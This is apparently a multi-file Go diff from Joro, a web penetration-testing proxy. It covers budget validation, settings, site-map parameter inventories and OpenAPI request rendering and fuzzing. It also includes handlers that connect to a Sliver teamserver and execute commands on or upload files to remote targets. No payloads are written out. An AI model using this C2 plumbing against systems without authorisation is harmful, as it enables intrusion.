Host jsruntime.HostBudget `json:"host"`
// Specs describes the per-run fields, hostSpecs the ones that belong to this Joro.
Specs []jsruntime.BudgetSpec `json:"specs"`
HostSpecs []jsruntime.BudgetSpec `json:"hostSpecs"`
// AgentOutputCap is the size the two agent figures share. Their own specs carry it
// as a cap; this is here so the panel can name the sum rule once.
AgentOutputCap int `json:"agentOutputCap"`
// Command is the same thing for local command runs, on a separate policy with its own
// fields; see internal/localcmd/budget.go for why the two are not one struct.
//
// Nested rather than flattened so the panel renders two sections from one response
// without having to know which key belongs to which. Its specs have the same shape as
// the ones above, which is what lets one component render both.
Command commandBudgetResponse `json:"command"`
}
type commandBudgetResponse struct {
// Enabled is whether --automation-commands was given. The panel still shows the
// section when it is false — an operator can set a budget for something they have
// not switched on yet — but says so rather than implying commands will run.
Enabled bool `json:"enabled"`
Policy localcmd.Policy `json:"policy"`
Effective localcmd.Budget `json:"effective"`
EffectiveMax localcmd.Budget `json:"effectiveMax"`
Host localcmd.HostBudget `json:"host"`
Specs []localcmd.BudgetSpec `json:"specs"`
HostSpecs []localcmd.BudgetSpec `json:"hostSpecs"`
}
func (s *APIServer) scriptBudgetState() budgetResponse {
p := s.autoStore.ScriptBudget()
def, maxi := p.Bounds()
cp := s.autoStore.CommandBudget()
cdef, cmaxi := cp.Bounds()
return budgetResponse{
Policy: p,
Effective: def,
EffectiveMax: maxi,
Host: p.Host.Resolved(),
Specs: jsruntime.BudgetSpecs(),
HostSpecs: jsruntime.HostSpecs(),
AgentOutputCap: jsruntime.AgentOutputCap,
Command: commandBudgetResponse{
Enabled: s.commandsEnabled(),
Policy: cp,
Effective: cdef,
EffectiveMax: cmaxi,
Host: cp.Host.Resolved(),
Specs: localcmd.BudgetSpecs(),
HostSpecs: localcmd.HostSpecs(),
},
}
}
func (s *APIServer) handleGetScriptBudget(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
writeJSON(w, http.StatusOK, s.scriptBudgetState())
}
// handleSetScriptBudget stores the operator's run policy.
//
// Over-ceiling values are rejected rather than clamped, which is the opposite of what a
// run request gets: a run may be submitted by a language model, where an argument error
// costs a turn, but this is the operator's own form and silently correcting what they
// typed would leave them believing a limit they do not have.
func (s *APIServer) handleSetScriptBudget(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
// Both policies arrive on one request and are stored together, because the panel edits
// them in one form and a partial save would leave the operator's two halves out of
// step with what they were looking at. Absent means unchanged, so a client that
// predates the command budget cannot clear one by omission.
var body struct {
Policy jsruntime.BudgetPolicy `json:"policy"`
Command *localcmd.Policy `json:"command,omitempty"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if err := validateBudgetPolicy(body.Policy); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if body.Command != nil {
if err := validateCommandPolicy(*body.Command); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
}
if err := s.autoStore.SetScriptBudget(body.Policy); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if body.Command != nil {
if err := s.autoStore.SetCommandBudget(*body.Command); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
}
// No WS event: nothing listens for one, the operator's own request is the only way
// here, and it takes effect on the next run rather than on anything already open.
writeJSON(w, http.StatusOK, s.scriptBudgetState())
}
// validateBudgetPolicy checks every field the runtime declares, in the units the
// operator entered them in, plus the one cross-field rule.
//
// Iterating the specs rather than the struct keeps this total: a field the runtime
// declares but cannot read back is reported as a defect rather than waved through.
func validateBudgetPolicy(p jsruntime.BudgetPolicy) error {
perRun := []struct {
what string
budget jsruntime.Budget
}{
{"default", p.Defaults},
{"maximum", p.Maxima},
}
for _, sp := range jsruntime.BudgetSpecs() {
for _, half := range perRun {
v, ok := half.budget.Value(sp.Key)
if !ok {
return fmt.Errorf("budget field %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(scriptField(sp), v, half.what+" "); err != nil {
return err
}
}
// A default above the maximum is contradictory rather than merely high. The
// runtime resolves it to the maximum, but saying so beats storing it.
def, _ := p.Defaults.Value(sp.Key)
maxi, _ := p.Maxima.Value(sp.Key)
if def > 0 && maxi > 0 && def > maxi {
return fmt.Errorf("%s: the default (%d) cannot be above the maximum (%d)",
sp.Label, def/sp.Factor, maxi/sp.Factor)
}
}
for _, sp := range jsruntime.HostSpecs() {
v, ok := p.Host.Value(sp.Key)
if !ok {
return fmt.Errorf("host limit %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(scriptField(sp), v, ""); err != nil {
return err
}
}
// The pair an agent gets back has to fit inside script.run's output cap, which is
// registered before the registry is sealed and errors rather than truncating.
h := p.Host.Resolved()
if room := capreg.ScriptRunOutputCap - capreg.ScriptRunHeaderRoom; h.AgentLogBytes+h.AgentResultBytes > room {
return fmt.Errorf("agent log output (%d KB) and agent result size (%d KB) together must stay "+
"under %d KB, the tool result cap they share",
h.AgentLogBytes>>10, h.AgentResultBytes>>10, room>>10)
}
return nil
}
// validateCommandPolicy is validateBudgetPolicy for the command budget.
//
// The same shape and the same rules, over localcmd's specs. Two functions rather than one
// generic over both because the two policies have different types for their halves and
// different cross-field rules — this one has none, where the script budget has the agent
// output sum. What they do share is checkBudgetField, through budgetField.
func validateCommandPolicy(p localcmd.Policy) error {
perRun := []struct {
what string
budget localcmd.Budget
}{
{"default", p.Defaults},
{"maximum", p.Maxima},
}
for _, sp := range localcmd.BudgetSpecs() {
f := commandField(sp)
for _, half := range perRun {
v, ok := half.budget.Value(sp.Key)
if !ok {
return fmt.Errorf("command budget field %q cannot be read back; this is a defect in Joro",
sp.Key)
}
if err := checkBudgetField(f, v, half.what+" "); err != nil {
return err
}
}
def, _ := p.Defaults.Value(sp.Key)
maxi, _ := p.Maxima.Value(sp.Key)
if def > 0 && maxi > 0 && def > maxi {
return fmt.Errorf("%s: the default (%d) cannot be above the maximum (%d)",
sp.Label, def/sp.Factor, maxi/sp.Factor)
}
}
for _, sp := range localcmd.HostSpecs() {
v, ok := p.Host.Value(sp.Key)
if !ok {
return fmt.Errorf("command host limit %q cannot be read back; this is a defect in Joro", sp.Key)
}
if err := checkBudgetField(commandField(sp), v, ""); err != nil {
return err
}
}
return nil
}
// budgetField is the subset of a budget spec the validator reads.
//
// jsruntime and localcmd each declare their own spec type with these fields in it, because
// neither imports the other and neither should. This is the one place that has to treat
// them alike, so the conversion lives here rather than either of them growing a dependency
// for a validator's convenience.
type budgetField struct {
Label, Unit, CapReason string
Factor, Default, Cap int
}
func scriptField(sp jsruntime.BudgetSpec) budgetField {
return budgetField{
Label: sp.Label, Unit: sp.Unit, CapReason: sp.CapReason,
Factor: sp.Factor, Default: sp.Default, Cap: sp.Cap,
}
}
func commandField(sp localcmd.BudgetSpec) budgetField {
return budgetField{
Label: sp.Label, Unit: sp.Unit, CapReason: sp.CapReason,
Factor: sp.Factor, Default: sp.Default, Cap: sp.Cap,
}
}
// checkBudgetField reports a value the runtime cannot honor, in the operator's own unit.
//
// Only two things can be wrong: a fraction of the unit, or a value above a structural cap.
// A field with no cap has no upper bound here — the operator's number is the limit, which
// is what stops this form presenting a figure as theirs to set and then refusing it.
func checkBudgetField(sp budgetField, v int, half string) error {
name := half + strings.ToLower(sp.Label)
switch {
case v < 0:
return fmt.Errorf("%s cannot be negative; 0 takes Joro's %d %s", name, sp.Default, sp.Unit)
case v%sp.Factor != 0:
return fmt.Errorf("%s must be a whole number of %s", name, sp.Unit)
case sp.Cap > 0 && v > sp.Cap*sp.Factor:
return fmt.Errorf("%s cannot be above %d %s: %s", name, sp.Cap, sp.Unit, sp.CapReason)
}
return nil
}
// globalDocs covers what the shim defines outside the joro namespace. The sandbox's
// globals are ECMAScript built-ins and nothing else, so these are worth naming.
var globalDocs = []map[string]string{
{"js": "console.log / warn / error / debug", "description": "Writes to the run log, against the run's log budget."},
{"js": "atob(base64)", "description": "Decodes base64 to a binary string. A lens gets its bytes this way."},
{"js": "btoa(binary)", "description": "Encodes a binary string as base64."},
}
// storageDocs describes joro.storage, which has no capability behind it to borrow a
// description from. See jsruntime.StorageBridge for why it is not one.
var storageDocs = []map[string]string{
{"js": "joro.storage.get(key)", "description": "The value stored under key, or null. Installed automations only."},
{"js": "joro.storage.set(key, value)", "description": "Store any JSON value under key."},
{"js": "joro.storage.delete(key)", "description": "Remove key; returns whether it existed."},
{"js": "joro.storage.keys()", "description": "Every key this automation has stored, sorted."},
}
+20 -19
View File
@@ -39,25 +39,25 @@ func (s *APIServer) handleGetSettings(w http.ResponseWriter, r *http.Request) {
func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request) {
var body struct {
InterceptEnabled *bool `json:"interceptEnabled"`
InterceptTimeout *int `json:"interceptTimeout"`
ListenerURL *string `json:"listenerUrl"`
ProjectID *string `json:"projectId"`
TeamStatus *string `json:"teamStatus"`
ShareProjectID *bool `json:"shareProjectId"`
HTTP2Enabled *bool `json:"http2Enabled"`
KeepAliveEnabled *bool `json:"keepAliveEnabled"`
SOCKSHost *string `json:"socksHost"`
SOCKSPort *int `json:"socksPort"`
SOCKSUsername *string `json:"socksUsername"`
SOCKSPassword *string `json:"socksPassword"`
SOCKSDNS *bool `json:"socksDns"`
InterceptEnabled *bool `json:"interceptEnabled"`
InterceptResponses *bool `json:"interceptResponses"`
InterceptTimeout *int `json:"interceptTimeout"`
ListenerURL *string `json:"listenerUrl"`
TeamStatus *string `json:"teamStatus"`
ShareProjectName *bool `json:"shareProjectName"`
HTTP2Enabled *bool `json:"http2Enabled"`
KeepAliveEnabled *bool `json:"keepAliveEnabled"`
SOCKSHost *string `json:"socksHost"`
SOCKSPort *int `json:"socksPort"`
SOCKSUsername *string `json:"socksUsername"`
SOCKSPassword *string `json:"socksPassword"`
SOCKSDNS *bool `json:"socksDns"`
TeamToken *string `json:"teamToken"`
TeamNickname *string `json:"teamNickname"`
MaxRequests *int `json:"maxRequests"`
DisableUpdateChecks *bool `json:"disableUpdateChecks"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -67,6 +67,10 @@ func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request)
s.settings.InterceptEnabled = *body.InterceptEnabled
s.intercept.SetEnabled(*body.InterceptEnabled)
}
if body.InterceptResponses != nil && s.intercept != nil {
s.settings.InterceptResponses = *body.InterceptResponses
s.intercept.SetResponseEnabled(*body.InterceptResponses)
}
if body.InterceptTimeout != nil && *body.InterceptTimeout > 0 && s.intercept != nil {
s.settings.InterceptTimeout = *body.InterceptTimeout
s.intercept.SetTimeout(time.Duration(*body.InterceptTimeout) * time.Second)
@@ -137,14 +141,11 @@ func (s *APIServer) handleUpdateSettings(w http.ResponseWriter, r *http.Request)
if body.DisableUpdateChecks != nil {
s.settings.DisableUpdateChecks = *body.DisableUpdateChecks
}
if body.ProjectID != nil {
s.settings.ProjectID = *body.ProjectID
}
if body.TeamStatus != nil {
s.settings.TeamStatus = *body.TeamStatus
}
if body.ShareProjectID != nil {
s.settings.ShareProjectID = *body.ShareProjectID
if body.ShareProjectName != nil {
s.settings.ShareProjectName = *body.ShareProjectName
}
settings := s.settings
+105 -2
View File
@@ -1,8 +1,111 @@
package api
import "net/http"
import (
"net/http"
"net/url"
"github.com/BishopFox/joro/internal/echo"
)
// maxInventoryRequests bounds the walk behind a parameter inventory. History
// holds thousands of requests and a hot endpoint can hold most of them, so the
// newest slice is walked and the response says so rather than the pane stalling.
const maxInventoryRequests = 1000
func (s *APIServer) handleGetSitemap(w http.ResponseWriter, r *http.Request) {
hosts := s.store.Sitemap()
f := s.requestFilterFromQuery(r)
hosts := s.store.Sitemap(f)
writeJSON(w, http.StatusOK, map[string]any{"hosts": hosts})
}
// handleGetSitemapParams inventories the parameters behind a site-map node: every
// input its requests carried, across every source, with counts. It takes the same
// request filters as handleGetSitemap, so the pane describes the node the operator
// clicked in the tree they are looking at.
//
// The node is named by "origin", not by "host" as handleDeleteSitemap names it.
// This endpoint also parses the shared request filters, where "host" already means
// a case-insensitive substring of the captured Host header — and an origin carries
// a scheme, so it is never a substring of one. Reusing the name here would filter
// every request away and report an endpoint with no parameters rather than fail.
//
// The walk is on demand and depends on nothing the reflection engine does: it
// answers for an operator who has never switched Echo on, which is the default.
func (s *APIServer) handleGetSitemapParams(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
origin := q.Get("origin")
if origin == "" {
writeError(w, http.StatusBadRequest, "origin is required")
return
}
matchPath := q.Has("path")
path := q.Get("path")
reqs := s.store.NodeRequests(origin, path, matchPath, s.requestFilterFromQuery(r))
total := len(reqs)
walked := reqs
if len(walked) > maxInventoryRequests {
walked = walked[:maxInventoryRequests]
}
// The engine's configuration when it is wired, so the operator's body-scan
// bounds apply; defaults otherwise, because the inventory has to work wherever
// the site map does.
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
rows := echo.Inventory(walked, cfg)
s.markReflected(origin, rows)
writeJSON(w, http.StatusOK, map[string]any{
"origin": origin,
"path": path,
"requests": total,
"walked": len(walked),
"truncated": len(walked) < total,
"params": rows,
})
}
// markReflected flags the rows reflection mapping has already seen come back.
//
// The join key is the bare host. A site-map origin is scheme://host[:port] while
// echo keys an entry on detect.Message.Host, which is url.URL.Host — no scheme.
// Passing the origin through would hash a string no entry ever uses and leave
// every row silently unreflected.
func (s *APIServer) markReflected(origin string, rows []echo.ParamRow) {
if s.echoStore == nil {
return
}
u, err := url.Parse(origin)
if err != nil || u.Host == "" {
return
}
for i := range rows {
e, ok := s.echoStore.Entry(echo.EntryID(u.Host, rows[i].Source, rows[i].Name))
if !ok {
continue
}
rows[i].Reflected = true
rows[i].Breakouts = e.Breakouts
}
}
// handleDeleteSitemap removes the captured requests behind a site-map node. A
// "host" query param (origin, scheme://host[:port]) is required. An optional
// "path" param scopes the deletion to a single endpoint; when it is present the
// deletion matches that exact path (host-level otherwise). This removes the
// underlying requests, so they also disappear from history.
func (s *APIServer) handleDeleteSitemap(w http.ResponseWriter, r *http.Request) {
q := r.URL.Query()
origin := q.Get("host")
if origin == "" {
writeError(w, http.StatusBadRequest, "host is required")
return
}
matchPath := q.Has("path")
removed := s.store.DeleteSitemapNode(origin, q.Get("path"), matchPath)
writeJSON(w, http.StatusOK, map[string]int{"deleted": removed})
}
+9 -4
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"io"
"net/http"
@@ -25,7 +24,7 @@ func (s *APIServer) handleSliverStatus(w http.ResponseWriter, r *http.Request) {
func (s *APIServer) handleSliverConnect(w http.ResponseWriter, r *http.Request) {
var cfg sliver.OperatorConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
if err := decodeJSON(r, &cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -90,7 +89,7 @@ func (s *APIServer) handleSliverExecute(w http.ResponseWriter, r *http.Request)
Command string `json:"command"`
Args []string `json:"args"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -122,7 +121,7 @@ func (s *APIServer) handleSliverCommand(w http.ResponseWriter, r *http.Request)
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -157,6 +156,12 @@ func (s *APIServer) handleSliverDownload(w http.ResponseWriter, r *http.Request)
// handleSliverUpload handles file upload to a remote target.
func (s *APIServer) handleSliverUpload(w http.ResponseWriter, r *http.Request) {
// Multipart body; see requireLocalOrigin. Checked before the connection preconditions
// so the outcome does not depend on whether a session is live.
if !requireLocalOrigin(w, r) {
return
}
if !s.sliverClient.IsConnected() {
writeError(w, http.StatusBadRequest, "not connected to Sliver teamserver")
return
+652
View File
@@ -0,0 +1,652 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// specLoadRequest carries a document from one of three sources. Exactly one of
// Raw, Text and URL is used, in that order of preference.
type specLoadRequest struct {
Raw string `json:"raw"` // base64; a captured response, headers included
Text string `json:"text"` // the document verbatim
URL string `json:"url"` // fetched through Joro's proxy
Name string `json:"name"`
// UserAgent is the tab's, when a tab is doing the loading — a discovery
// sweep probes with it, so the fetch of what it found uses it too. Empty on
// a first load, where no tab exists yet.
UserAgent string `json:"userAgent,omitempty"`
}
// handleSpecLoad parses a document and stores it.
func (s *APIServer) handleSpecLoad(w http.ResponseWriter, r *http.Request) {
var req specLoadRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var (
data []byte
sourceURL string
)
switch {
case req.Raw != "":
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
// A captured response arrives with its headers; a pasted document does
// not. Strip a header block only when one is actually present.
data = stripHTTPHeaders(decoded)
sourceURL = req.URL
case req.Text != "":
data = []byte(req.Text)
sourceURL = req.URL
case req.URL != "":
fetched, ct, err := s.fetchSpecViaProxy(r, req.URL, req.UserAgent)
if err != nil {
writeError(w, http.StatusBadGateway, err.Error())
return
}
data, sourceURL = fetched, req.URL
if hint := notADocument(fetched, ct, req.URL); hint != nil {
writeJSON(w, http.StatusUnprocessableEntity, hint)
return
}
default:
writeError(w, http.StatusBadRequest, "one of raw, text or url is required")
return
}
spec, err := apispec.ParseOpenAPI(data, apispec.Options{SourceURL: sourceURL})
if err != nil {
if hint := notADocument(data, "", sourceURL); hint != nil {
writeJSON(w, http.StatusUnprocessableEntity, hint)
return
}
writeError(w, http.StatusBadRequest, err.Error())
return
}
if req.Name != "" {
spec.Title = req.Name
}
s.specStore.Put(spec, data)
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
}
// fetchSpecViaProxy retrieves a document through Joro's own proxy, so the fetch
// is captured into History, filtered by scope and routed through SOCKS exactly
// as browser traffic is — and so the document is recoverable later from History
// without re-fetching it.
func (s *APIServer) fetchSpecViaProxy(r *http.Request, rawURL, userAgent string) ([]byte, string, error) {
u, err := url.Parse(strings.TrimSpace(rawURL))
if err != nil || u.Host == "" {
return nil, "", fmt.Errorf("could not parse %q as a URL", rawURL)
}
if u.Scheme != "http" && u.Scheme != "https" {
return nil, "", fmt.Errorf("URL scheme must be http or https")
}
target := u.RequestURI()
// A load carries no profile, so the tab's User-Agent is the only operator
// value there is; UserAgentOr falls back for the first load, which has none.
raw := "GET " + target + " HTTP/1.1\r\nHost: " + u.Host + "\r\n" +
"User-Agent: " + apispec.UserAgentOr(userAgent) + "\r\n" +
"Accept: application/json, text/yaml, application/yaml, */*\r\n\r\n"
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
// A document is routinely megabytes, so this send asks for a larger read than
// the default, which is sized for fingerprinting a batch.
deps := s.specSendDeps()
deps.MaxRespBytes = maxSpecFetchBytes
res, err := httptools.SendViaProxy(ctx, []byte(raw), u.Scheme, u.Host, deps)
if err != nil {
return nil, "", fmt.Errorf("fetching the document: %v", err)
}
body := stripHTTPHeaders(res.RespRaw)
if res.StatusCode < 200 || res.StatusCode >= 300 {
return nil, "", fmt.Errorf("the document URL answered %d", res.StatusCode)
}
// The read is still capped. Past the cap the body is truncated and the parse
// fails with a message about malformed YAML, which sends the operator looking
// for a problem in the document rather than in how it was fetched.
if len(body) >= maxSpecFetchBytes-1024 {
return nil, "", fmt.Errorf(
"the response was truncated at %d MB, which is the limit for a proxied fetch; "+
"download the document and load it from a file instead",
maxSpecFetchBytes/(1<<20))
}
return body, contentTypeOf(res.RespRaw), nil
}
// notADocument builds the hint returned when a URL served something that is not
// a description document.
//
// When the page is an API-documentation UI (Swagger UI and its siblings all
// embed or name the document they render), the hint names it and offers the
// references it loads from — the most common failure becomes the next action.
// A plain HTML page names nothing, so following its own scripts would list the
// site's analytics and bundles as if they were documents; it is offered the
// well-known document paths to sweep instead. The two are told apart by the
// bytes, not assumed from "this is HTML", so neither verdict overclaims.
func notADocument(body []byte, contentType, sourceURL string) map[string]any {
isHTML := strings.Contains(strings.ToLower(contentType), "text/html") ||
apispec.LooksLikeHTMLDocument(body)
if !isHTML {
return nil
}
if ui := apispec.DetectDocUI(body); ui != "" {
candidates := apispec.ExtractSpecRefs(body, sourceURL)
if len(candidates) == 0 {
candidates = priorityCandidates()
}
return map[string]any{
"error": fmt.Sprintf("that URL served the %s page, not an API description document — these are the paths it loads from", ui),
"kind": "html",
"ui": ui,
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": candidates,
}
}
return map[string]any{
"error": "that URL served an HTML page, not an API description document — try these well-known document paths on this host",
"kind": "html",
"ui": "",
"contentType": contentType,
"sourceUrl": sourceURL,
"candidates": priorityCandidates(),
}
}
// priorityCandidates is the head of the standard discovery wordlist, offered as
// paths to try when a page names no document of its own.
func priorityCandidates() []string {
var out []string
for _, p := range apispec.CandidatePaths("", apispec.CandidatePriority) {
out = append(out, p)
if len(out) >= 12 {
break
}
}
return out
}
func (s *APIServer) handleSpecList(w http.ResponseWriter, r *http.Request) {
type summary struct {
ID string `json:"id"`
Title string `json:"title"`
Format string `json:"format"`
Version string `json:"version"`
Operations int `json:"operations"`
Servers int `json:"servers"`
Diagnostics int `json:"diagnostics"`
SourceURL string `json:"sourceUrl,omitempty"`
SizeBytes int `json:"sizeBytes"`
LoadedAt time.Time `json:"loadedAt"`
}
stored := s.specStore.List()
out := make([]summary, 0, len(stored))
for _, sp := range stored {
out = append(out, summary{
ID: sp.Spec.ID, Title: sp.Spec.Title, Format: string(sp.Spec.Format),
Version: sp.Spec.Version, Operations: len(sp.Spec.Operations),
Servers: len(sp.Spec.Servers), Diagnostics: len(sp.Spec.Diagnostics),
SourceURL: sp.Spec.SourceURL, SizeBytes: sp.Spec.SizeBytes, LoadedAt: sp.LoadedAt,
})
}
writeJSON(w, http.StatusOK, map[string]any{"specs": out})
}
func (s *APIServer) handleSpecGet(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{"spec": stored.Spec})
}
// handleSpecGetSource returns the original bytes. It is a separate endpoint
// because a document is routinely megabytes and the operator only occasionally
// wants to read it.
func (s *APIServer) handleSpecGetSource(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{
"source": base64.StdEncoding.EncodeToString(stored.Source),
})
}
// specPlaceholdersRequest replaces a document's generated values. An absent
// field falls back to the default, so clearing one in the UI restores it.
type specPlaceholdersRequest struct {
Placeholders apispec.Placeholders `json:"placeholders"`
}
// handleSpecSetPlaceholders re-parses a stored document with new placeholders.
//
// It re-parses rather than patching the Spec in place because a placeholder
// reaches body bytes as well as Param.Default, and no patch reaches both. The
// spec ID is a hash of the source, so the new parse lands under the same ID and
// the auth profiles defined against it survive.
//
// What the operator typed is untouched: Values outranks Param.Default in Render,
// so a hand-edited parameter or body keeps what was entered, including a value
// produced from the previous placeholder. An in-flight run is untouched too —
// selectOperations copies the operations into the run's Config, so a run renders
// the parse it started with.
func (s *APIServer) handleSpecSetPlaceholders(w http.ResponseWriter, r *http.Request) {
stored := s.specStore.Get(r.PathValue("id"))
if stored == nil {
writeError(w, http.StatusNotFound, "no such document")
return
}
var req specPlaceholdersRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
// Rejected here rather than dropped later: a placeholder can become a header
// parameter's value, and writeHeader silently omits a header whose value
// carries a control character. The operator would see a missing header with
// nothing to explain it.
for name, v := range map[string]string{
"string": req.Placeholders.String, "date": req.Placeholders.Date,
"url": req.Placeholders.URL, "email": req.Placeholders.Email,
} {
if strings.ContainsAny(v, "\r\n\x00") {
writeError(w, http.StatusBadRequest,
"the "+name+" placeholder may not contain a newline or a NUL")
return
}
}
spec, err := apispec.ParseOpenAPI(stored.Source, apispec.Options{
SourceURL: stored.Spec.SourceURL,
Placeholders: req.Placeholders,
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// The operator may have renamed the document on load; a re-parse would
// otherwise revert it to the title the document declares.
spec.Title = stored.Spec.Title
s.specStore.Put(spec, stored.Source)
writeJSON(w, http.StatusOK, map[string]any{"spec": spec})
}
func (s *APIServer) handleSpecDelete(w http.ResponseWriter, r *http.Request) {
if !s.specStore.Delete(r.PathValue("id")) {
writeError(w, http.StatusNotFound, "no such document")
return
}
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// specRenderRequest asks for the exact bytes one operation would send.
type specRenderRequest struct {
SpecID string `json:"specId"`
OperationID string `json:"operationId"`
ServerIndex *int `json:"serverIndex,omitempty"`
Scheme string `json:"scheme,omitempty"`
Host string `json:"host,omitempty"`
BasePath *string `json:"basePath,omitempty"`
Values map[string]string `json:"values,omitempty"`
ProfileID string `json:"profileId,omitempty"`
UserAgent string `json:"userAgent,omitempty"`
// FuzzParam wraps one parameter's value in FuzzKeyword, for seeding the
// fuzzer. It is done here rather than by the client searching the rendered
// bytes, because the value may be percent-encoded, may appear more than
// once, and may sit inside a JSON body.
FuzzParam string `json:"fuzzParam,omitempty"`
FuzzKeyword string `json:"fuzzKeyword,omitempty"`
// Omit names parameters to leave out entirely, by ValueKey. Distinct from an
// empty entry in Values, which means "send it empty".
Omit []string `json:"omit,omitempty"`
}
func (s *APIServer) handleSpecRender(w http.ResponseWriter, r *http.Request) {
var req specRenderRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
op, srv, err := s.resolveOperation(req)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
auth := s.authForProfile(req.SpecID, req.ProfileID)
raw, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth, apispec.RenderOptions{
UserAgent: req.UserAgent,
FuzzParam: req.FuzzParam,
FuzzMarker: req.FuzzKeyword,
Omit: omitSet(req.Omit),
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]any{
"raw": base64.StdEncoding.EncodeToString(raw),
"scheme": target.Scheme,
"host": target.Host,
"path": target.Path,
})
}
// specSendRequest sends one operation. When the operator has not hand-edited the
// bytes the server renders again here rather than trusting a cached render, so a
// stale or in-flight preview can never become the request that goes out.
type specSendRequest struct {
specRenderRequest
Raw string `json:"raw,omitempty"` // set only when the operator edited the bytes
}
func (s *APIServer) handleSpecSend(w http.ResponseWriter, r *http.Request) {
var req specSendRequest
if err := decodeJSONLimit(r, &req, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var (
raw []byte
scheme string
host string
)
if req.Raw != "" {
decoded, err := base64.StdEncoding.DecodeString(req.Raw)
if err != nil {
writeError(w, http.StatusBadRequest, "invalid raw base64")
return
}
// Edited bytes go out as written. The profile is deliberately NOT applied
// on this path: it was already baked in by the render the operator then
// edited, and applying it again would duplicate the Authorization header.
raw = decoded
scheme, host = req.Scheme, req.Host
if host == "" {
_, srv, err := s.resolveOperationServer(req.specRenderRequest)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
scheme, host = srv.Scheme, srv.Host
}
} else {
op, srv, err := s.resolveOperation(req.specRenderRequest)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
auth := s.authForProfile(req.SpecID, req.ProfileID)
rendered, target, err := apispec.Render(op, srv, apispec.Values(req.Values), auth,
apispec.RenderOptions{UserAgent: req.UserAgent, Omit: omitSet(req.Omit)})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
raw, scheme, host = rendered, target.Scheme, target.Host
}
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
defer cancel()
res, err := httptools.SendViaProxy(ctx, raw, scheme, host, s.specSendDeps())
if err != nil {
writeError(w, http.StatusBadGateway, fmt.Sprintf("sending request: %v", err))
return
}
fp := httptools.FingerprintResponse(res.Seq, res.RespRaw, res.Duration.Milliseconds(), false)
writeJSON(w, http.StatusOK, map[string]any{
"raw": base64.StdEncoding.EncodeToString(raw),
"rawResp": base64.StdEncoding.EncodeToString(res.RespRaw),
"status": fp.Status,
"durationMs": res.Duration.Milliseconds(),
"len": fp.Len,
"seq": res.Seq,
"requestId": res.RequestID,
"seqNote": res.SeqNote,
"triage": apiscan.TriageOf(fp.Status, ""),
"url": scheme + "://" + host,
})
}
// specProfilesRequest replaces the profile set for one document.
type specProfilesRequest struct {
SpecID string `json:"specId"`
Profiles []struct {
ID string `json:"id"`
Label string `json:"label"`
Rank int `json:"rank"`
Credentials []apispec.Credential `json:"credentials"`
Headers []apispec.Header `json:"headers"`
Cookies []apispec.Cookie `json:"cookies"`
} `json:"profiles"`
}
func (s *APIServer) handleSpecSetProfiles(w http.ResponseWriter, r *http.Request) {
var req specProfilesRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if req.SpecID == "" {
writeError(w, http.StatusBadRequest, "specId is required")
return
}
if len(req.Profiles) > apiscan.MaxProfiles {
writeError(w, http.StatusBadRequest,
